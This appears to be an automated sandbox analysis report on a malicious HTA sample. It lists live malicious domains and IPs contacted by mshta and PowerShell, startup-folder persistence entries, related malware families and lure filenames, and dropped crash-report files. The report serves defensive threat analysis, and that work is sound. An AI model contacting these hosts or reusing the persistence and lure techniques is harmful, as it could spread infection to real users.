https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBOS	mshta.exe, 00000000.00000003.152803023729.0000000002F83000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.154021662792.0000000002F6E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBfH	mshta.exe, 00000000.00000003.152803023729.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIB.Z	mshta.exe, 00000000.00000003.152803023729.0000000002F94000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contablegbv.shop/z	mshta.exe, 00000000.00000002.154021662792.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152803023729.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microso	powershell.exe, 00000017.00000002.153223627515.0000000007781000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBH	mshta.exe, 00000000.00000002.154030697180.0000000006EF5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBq?	mshta.exe, 00000000.00000002.154029716435.0000000006DE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000017.00000002.153216829786.0000000004FC8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.quovadis.bm0	mshta.exe, 00000000.00000002.154029716435.0000000006DE0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.153213657071.0000000002EC5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ocsp.quovadisoffshore.com0	mshta.exe, 00000000.00000002.154029716435.0000000006DE0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.153213657071.0000000002EC5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIB9Z	mshta.exe, 00000000.00000003.152803023729.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.154021662792.0000000002F94000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000017.00000002.153216829786.0000000004E71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contablegbv.shop/	mshta.exe, 00000000.00000002.154021662792.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152803023729.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lBWr	powershell.exe, 00000017.00000002.153216829786.0000000004E71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIB/S	mshta.exe, 00000000.00000003.152803023729.0000000002F83000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contablegbv.shop/B	mshta.exe, 00000000.00000002.154021662792.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152803023729.0000000002FDE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contablegbv.shop/ZRALJZLWYNP/PNQRJTRMIBqS	mshta.exe, 00000000.00000002.154021662792.0000000002F6E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152803556209.0000000002F72000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
93.127.200.211	contablefea.shop	Germany		62255	ASMUNDA-ASSC	true
159.100.18.13	contablegbv.shop	Germany		44066	DE-FIRSTCOLOwwwfirst-colonetDE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573649
Start date and time:	2024-12-12 12:53:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Number of analysed new started processes analysed:	43
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	copia111224mp.hta
Detection:	MAL
Classification:	mal100.rans.expl.evad.winHTA@49/116@3/2
Cookbook Comments:	Found application associated with file extension: .hta

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, consent.exe, WerFault.exe, RuntimeBroker.exe, backgroundTaskHost.exe, svchost.exe, TextInputHost.exe
Excluded IPs from analysis (whitelisted): 64.233.176.95, 64.233.177.95, 74.125.138.95, 142.250.105.95, 64.233.185.95, 172.217.215.95, 172.253.124.95, 74.125.21.95, 108.177.122.95, 173.194.219.95, 20.42.65.92, 52.113.194.132, 52.111.227.14, 20.42.73.31, 40.126.29.12
Excluded domains from analysis (whitelisted): ecs.office.com, self-events-data.trafficmanager.net, self.events.data.microsoft.com, s-0005-office.config.skype.com, onedscolprdeus21.eastus.cloudapp.azure.com, prod.nexusrules.live.com.akadns.net, ecs-office.s-0005.s-msedge.net, onedsblobprdeus17.eastus.cloudapp.azure.com, login.live.com, s-0005.s-msedge.net, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, ecs.office.trafficmanager.net, nexusrules.officeapps.live.com, firebasestorage.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: copia111224mp.hta

Simulations

Behavior and APIs

Time	Type	Description
06:56:00	API Interceptor	894x Sleep call for process: powershell.exe modified
06:56:40	API Interceptor	2x Sleep call for process: WerFault.exe modified
06:57:22	API Interceptor	2x Sleep call for process: _nczuwk7_H.exe modified
12:56:05	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_K.lnk
12:56:14	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_KAA.lnk
12:56:22	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_KAT.lnk
12:56:30	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_KEX.lnk
12:56:38	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_Ky.lnk
12:56:51	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_H.lnk
12:56:59	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_HAA.lnk
12:57:07	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_HAT.lnk
12:57:15	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_HEX.lnk
12:57:23	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_Hy.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
93.127.200.211	pw.ps1	Get hash	malicious	Unknown	Browse	93.127.200.211/a/08/150822/au/logs/index.php?CHLG

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DE-FIRSTCOLOwwwfirst-colonetDE	boatnet.m68k.elf	Get hash	malicious	Mirai	Browse	31.172.83.147
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	31.172.83.147
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	31.172.83.147
	nanophanotool.exe	Get hash	malicious	LummaC Stealer	Browse	159.100.18.192
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	31.172.83.147
	boatnet.mpsl.elf	Get hash	malicious	Mirai	Browse	31.172.83.147
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	31.172.83.147
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse	31.172.83.147
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	31.172.83.147
	GRIM_STEAK.elf	Get hash	malicious	Sliver	Browse	159.100.17.221
ASMUNDA-ASSC	xd.spc.elf	Get hash	malicious	Mirai	Browse	93.127.162.213
	nullnet_load.ppc.elf	Get hash	malicious	Mirai	Browse	91.108.78.211
	Factura-2410-CFDI.bat	Get hash	malicious	Unknown	Browse	93.127.200.211
	JuyR4wj8av.exe	Get hash	malicious	Stealc, Vidar	Browse	93.127.208.30
	EL7ggW7AdA.exe	Get hash	malicious	Stealc, Vidar	Browse	93.127.208.30
	arm6.elf	Get hash	malicious	Unknown	Browse	93.127.202.25
	https://aliceblue-dolphin-702154.hostingersite.com/juno-server-alerts.com/authen.php/	Get hash	malicious	Unknown	Browse	93.127.179.137
	https://nationalrecalls.com/outbound-scheduling-calls	Get hash	malicious	Unknown	Browse	93.127.179.248
	KKKK.hta	Get hash	malicious	Unknown	Browse	93.127.200.211
	pw.ps1	Get hash	malicious	Unknown	Browse	93.127.200.211

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Kopia p#U0142atno#U015bci_Santander_TF1903218545300000564290004.zip	Get hash	malicious	Unknown	Browse	93.127.200.211 159.100.18.13
	https://www.google.cv/url?duf=FbLLcAJXWZoeUZJIjST2&lfg=uVQGQao2QJuMH6TEkmpq&sa=t&fmc=XCKeeJBBTaVsgNFTQcDe&url=amp%2Fshairmylife.com%2Fkam%2FOATWMWQPC27P047EIPR32X/YWxpc29ub0B0aG9ydWsuY29t	Get hash	malicious	Unknown	Browse	93.127.200.211 159.100.18.13
	RQ--029.msi	Get hash	malicious	AteraAgent	Browse	93.127.200.211 159.100.18.13
	3d#U0438.hta	Get hash	malicious	Unknown	Browse	93.127.200.211 159.100.18.13
	Agreement for Cooperation.PDF.lnk.download.lnk	Get hash	malicious	RedLine	Browse	93.127.200.211 159.100.18.13
	RFQ-004282A.Teknolojileri A.S.exe	Get hash	malicious	AgentTesla	Browse	93.127.200.211 159.100.18.13
	Strait STS.vbs	Get hash	malicious	Remcos, GuLoader	Browse	93.127.200.211 159.100.18.13
	Shipping Documents.exe	Get hash	malicious	MassLogger RAT	Browse	93.127.200.211 159.100.18.13
	https://computeroids.com/hp-printer-driver?utm_source=Google&utm_medium=Click&utm_campaign=HP&utm_term=%7Bkeywords%7D&utm_content=%7Bmedium%7D&tm=tt&ap=gads&aaid=adaHxflMmgPq7&camp_id=12260099411&ad_g_id=118845692873&keyword=install%20hp%20printer%20to%20computer&device=c&network=searchAd&adposition=&gad_source=5&gclid=EAIaIQobChMI0JDUvuabigMV_Uf_AR2MuQCMEAAYASAAEgKQMPD_BwE	Get hash	malicious	PureLog Stealer	Browse	93.127.200.211 159.100.18.13
37f463bf4616ecd445d4a1937da06e19	Agreement for Cooperation.PDF.lnk.download.lnk	Get hash	malicious	RedLine	Browse	159.100.18.13
	Agreement for YouTube cooperation.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	159.100.18.13
	Strait STS.vbs	Get hash	malicious	Remcos, GuLoader	Browse	159.100.18.13
	c2.hta	Get hash	malicious	XWorm	Browse	159.100.18.13
	peks66Iy06.exe	Get hash	malicious	Unknown	Browse	159.100.18.13
	XXHYneydvF.exe	Get hash	malicious	Unknown	Browse	159.100.18.13
	nt11qTrX4f.exe	Get hash	malicious	Unknown	Browse	159.100.18.13
	otsIBG7J9b.exe	Get hash	malicious	Unknown	Browse	159.100.18.13
	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	159.100.18.13
	nicewithgreatfeaturesreturnformebestthingsgivensoofar.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	159.100.18.13

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows \System32\fodhelper.exe	Factura-2410-CFDI.bat	Get hash	malicious	Unknown	Browse
	rPO767575.cmd	Get hash	malicious	DBatLoader	Browse
	KKKK.hta	Get hash	malicious	Unknown	Browse
	ZG7UaFRPVW.exe	Get hash	malicious	DBatLoader, Remcos	Browse
	IN-34823_PO39276-pdf.vbe	Get hash	malicious	Remcos, DBatLoader	Browse
	7XU2cRFInT.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	megerosites.cmd	Get hash	malicious	DBatLoader, Lokibot	Browse
	Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	Payroll for July.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	2nd_Quarter_Order_Sheet_xls_0000000000000000000.exe	Get hash	malicious	Remcos, DBatLoader	Browse
C:\_nczuwk7_H\MSVCR100.dll (copy)	https://cdn.microvu.com/downloads/InSpec_2.97.10.exe	Get hash	malicious	Unknown	Browse
	DHzscd9uqT.exe	Get hash	malicious	STRRAT	Browse
	AYoF5MX6wK.exe	Get hash	malicious	STRRAT	Browse
	Componente_Firma_3.0.14_x86_BUNDLE.exe	Get hash	malicious	STRRAT	Browse
	Factura-2410-CFDI.bat	Get hash	malicious	Unknown	Browse
	mXF65oa1GJ.exe	Get hash	malicious	Unknown	Browse
	mXF65oa1GJ.exe	Get hash	malicious	Unknown	Browse
	Confirm Me.exe	Get hash	malicious	STRRAT	Browse
	PInstaller.exe	Get hash	malicious	STRRAT	Browse
	123.sfx.exe	Get hash	malicious	STRRAT	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash__nczuwk7_Hi7.exe_ccc345aab11f53b802a47afde85de017385d7c_0829a100_de7c1d83-c4b4-4895-bde0-d778262481e7\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.025648579081564
Encrypted:	false
SSDEEP:	384:oRZUfW8IjBUWHI4InjNJiEDu76ffAIO8bIR:oRZUPIjBUWHI4InjNJJDu76ffAIO8bI
MD5:	158F11365140080687FC505034D6B23C
SHA1:	3BE665625480C45C479B28D20FCCA11E7B6BC62A
SHA-256:	10FFAA8B2256E47DB99977068A5514CC7D388BE44FD50EF77B5EEC86DEDB4CD3
SHA-512:	DC74FA39C6DB46A9C030921D96FB60A0F9F693308D393665954A77492D08465E9DBD8B7F3FDCC3C2A9F17427BDC6D3EE5CD1FEC526CACA5639599AD48741EAFE
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.4.7.8.1.9.7.9.2.9.8.2.4.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.4.7.8.1.9.8.3.3.5.9.8.0.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.e.7.c.1.d.8.3.-.c.4.b.4.-.4.8.9.5.-.b.d.e.0.-.d.7.7.8.2.6.2.4.8.1.e.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.1.5.8.d.a.6.6.-.5.a.3.4.-.4.2.8.5.-.a.f.d.6.-.e.4.f.9.c.f.8.d.3.6.2.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=._.n.c.z.u.w.k.7._.H.i.7...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.k.i.n.i.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.2.2.7.c.-.0.0.0.1.-.0.0.5.0.-.a.9.e.2.-.c.2.e.5.8.c.4.c.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.d.3.5.1.9.5.5.1.0.4.c.2.5.d.b.0.2.1.2.7.5.0.d.8.1.4.4.b.f.1.6.0.0.0.0.0.0.0.0.!.0.0.0.0.6.1.5.d.c.2.f.a.8.2.7.f.a.b.3.9.e.1.6.a.7.e.9.7.2.1.f.4.8.4.e.7.f.4.d.3.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash__nczuwk7_Hi7.exe_ccc345aab11f53b802a47afde85de017385d7c_0829a100_ed7bb5d9-c13c-4142-9416-f2193754a4e9\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9937980341278851
Encrypted:	false
SSDEEP:	768:hR6UGIjBUWHI4InjNsPDu76ffAIO8bIz:hR6UGIfI4IpsPy76nPO8bIz
MD5:	26FAE5C33ADA1F12194F6A7BCFD7B70C
SHA1:	BCB1EA1944D40197261CC405BF689C0F70035D5F
SHA-256:	58AD046A11065F808C4534B5AE4DB9E9F18A283C64B8EB45487E57CBB578C876
SHA-512:	61EE9AFD28990B831820817982A574A04808443969E1C892B44FEB7153ADF4E376354270A7B5E2C732D69757A235AD51182C0F432F689745DF7DBD120670881E
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.4.7.8.1.9.8.2.0.3.1.8.4.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.4.7.8.1.9.8.5.3.1.2.4.4.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.d.7.b.b.5.d.9.-.c.1.3.c.-.4.1.4.2.-.9.4.1.6.-.f.2.1.9.3.7.5.4.a.4.e.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.d.6.4.f.c.3.6.-.6.b.7.c.-.4.d.4.5.-.a.a.e.9.-.b.b.b.2.5.5.b.f.1.4.5.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=._.n.c.z.u.w.k.7._.H.i.7...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.k.i.n.i.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.2.3.7.0.-.0.0.0.1.-.0.0.5.0.-.4.8.f.0.-.2.b.e.6.8.c.4.c.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.d.3.5.1.9.5.5.1.0.4.c.2.5.d.b.0.2.1.2.7.5.0.d.8.1.4.4.b.f.1.6.0.0.0.0.0.0.0.0.!.0.0.0.0.6.1.5.d.c.2.f.a.8.2.7.f.a.b.3.9.e.1.6.a.7.e.9.7.2.1.f.4.8.4.e.7.f.4.d.3.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3C73.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Dec 12 11:56:38 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	88410
Entropy (8bit):	1.8278232378797095
Encrypted:	false
SSDEEP:	384:sSl0Q5oS8dFr2jVdaXum9mN+8zJLdsaNSdpvR:J0Q5ohdiVdBDzJCaY3p
MD5:	DBA1DCC56593B35D6AA3C7C8F75879CE
SHA1:	1E1D93E1353859EF7CEF554D8F0C3859114ABF4A
SHA-256:	75BD04E586DC1530A7E25DD8FDBA751AD5DE8DD21749CAD9305E068EBEC54B2E
SHA-512:	3A878767091D95AA9500FABF3893A27C7AAAC5555E23145E068D5DFAB5588B9CD3457E989368CB36610C47812666F999E15CE31F1D29583C81FDE4F4958ED96B
Malicious:	false
Preview:	MDMP..a..... .......v.Zg........................\|................C..........T.......8...........T............1...'...........!..........."..............................................................................bJ.......#......GenuineIntel...........T.......\|"..u.Zg............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D2F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.7025084853002492
Encrypted:	false
SSDEEP:	192:R9l7lZNiZyjR6kc6YIMSU3LgmfUxElCxprT89bWesfvSm:R9lnNiZER6kc6YzSU7gmfeElTWdfL
MD5:	37B12FFDC545C6F783F00A4AEEDC1755
SHA1:	B0554B6D32DEF59F0B974BA1D1A0ED9C2BE4586B
SHA-256:	50C38E29E0AF6D79FFD3CE33390039B89FB3EFC7798F732407FDD7165112788D
SHA-512:	EF8CABC23E628EF306E8EE0D0A16172DE1F69B25C8576D2D10056915B2EECA70D53ECF4620BCFDA22E151A673B6DDECCA38A9485B61760771926061329429CEA
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.2.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...1.1.6.5...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.1.6.5.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.8.2.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D4F.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4818
Entropy (8bit):	4.5220601792436765
Encrypted:	false
SSDEEP:	48:cvIwwtl8zsSe702I7VFJ5WS2CfjkQs3rm8M4JSNiSF3+q8goSKok2Id:uILf37GySPfyJ2292Id
MD5:	C39E4E9D6FC9D22B8B57456554F01971
SHA1:	9C1D51CC80781E734D9F463AED6B99211EFBF7FA
SHA-256:	2698719993A37205D7146F479FE80388B678209DCAD2BDFA873CF79992EBD345
SHA-512:	9F21708A88D5719D59D9431702E6DE9796220E5C38436C93A0BCF6EC0005A69FD36A6D82B1E56AA399A293D465BF832B7F0C12FAA3DD752A44417C9F4C8BB248
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19042" />.. <arg nm="vercsdbld" val="1165" />.. <arg nm="verqfe" val="1165" />.. <arg nm="csdbld" val="1165" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="242" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="222971828" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D6D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Dec 12 11:56:38 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	84234
Entropy (8bit):	1.8178397140576168
Encrypted:	false
SSDEEP:	192:GX/hpKqVdOv5EWCUUBe+iDaKcD0ztBkvVSBaNH3ZYjPOX55pnkMNKc8pRa1XTd1h:FqVQxehcDl7CkygPOXhnkBslTdTfDh
MD5:	F8D3CE041FBC7793C8A34D4C1FFA41A3
SHA1:	CDCEDA6A5D1DF64288448F887C28AD2B1EBB3832
SHA-256:	B3B9E60D2C2D5F7CC6D83D45AB8693AAB43FA6A5910A495412DE16CE038026E4
SHA-512:	DD7DAFE971666BAD1F9606C937D665A27C00A3967BD74B7490C29089F193385B0EAC04C1B850099A1D6E108FF9907005B7C7F71A786F846C30AEAD4B3335AA4E
Malicious:	false
Preview:	MDMP..a..... .......v.Zg........................`................A..........T.......8...........T............,..r........................ ..............................................................................bJ......p!......GenuineIntel...........T.......p#..u.Zg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3DDB.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6296
Entropy (8bit):	3.7275156939034666
Encrypted:	false
SSDEEP:	192:R9l7lZNiPyw6I8jYUxElCxprw89bW/sfcSm:R9lnNiPN6I8jYeElKWkfI
MD5:	52A9B93B80CAE259AA18581B39F470D5
SHA1:	75FC500E9E621D7096DEAD7E240F40F44F3E0C5F
SHA-256:	C8C766EA328526905B0BFDC85CD58601CD3D1887F18EC7B36FC2549525C1A980
SHA-512:	02B2BB82032662BFFDE6D318F5C69042337DE43BE84112EEAB759ABA7E0E4BF35828B7F09F74E0984AF5D3FBA6F99C62B03A3C7B4EF98F9FFC6135831680A3B2
Malicious:	false
